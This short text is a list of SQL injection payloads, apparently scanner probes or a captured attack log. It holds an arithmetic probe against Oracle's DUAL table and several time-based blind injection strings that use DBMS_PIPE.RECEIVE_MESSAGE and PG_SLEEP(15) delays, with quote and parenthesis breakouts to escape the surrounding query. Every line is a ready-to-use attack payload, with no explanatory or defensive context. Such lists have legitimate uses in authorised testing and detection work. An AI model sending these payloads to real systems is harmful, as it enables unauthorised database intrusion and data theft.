(select 198766*667891 from DUAL)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555KmzE9u8L')) OR 156=(SELECT 156 FROM PG_SLEEP(15))--
555cWjKB3RR') OR 476=(SELECT 476 FROM PG_SLEEP(15))--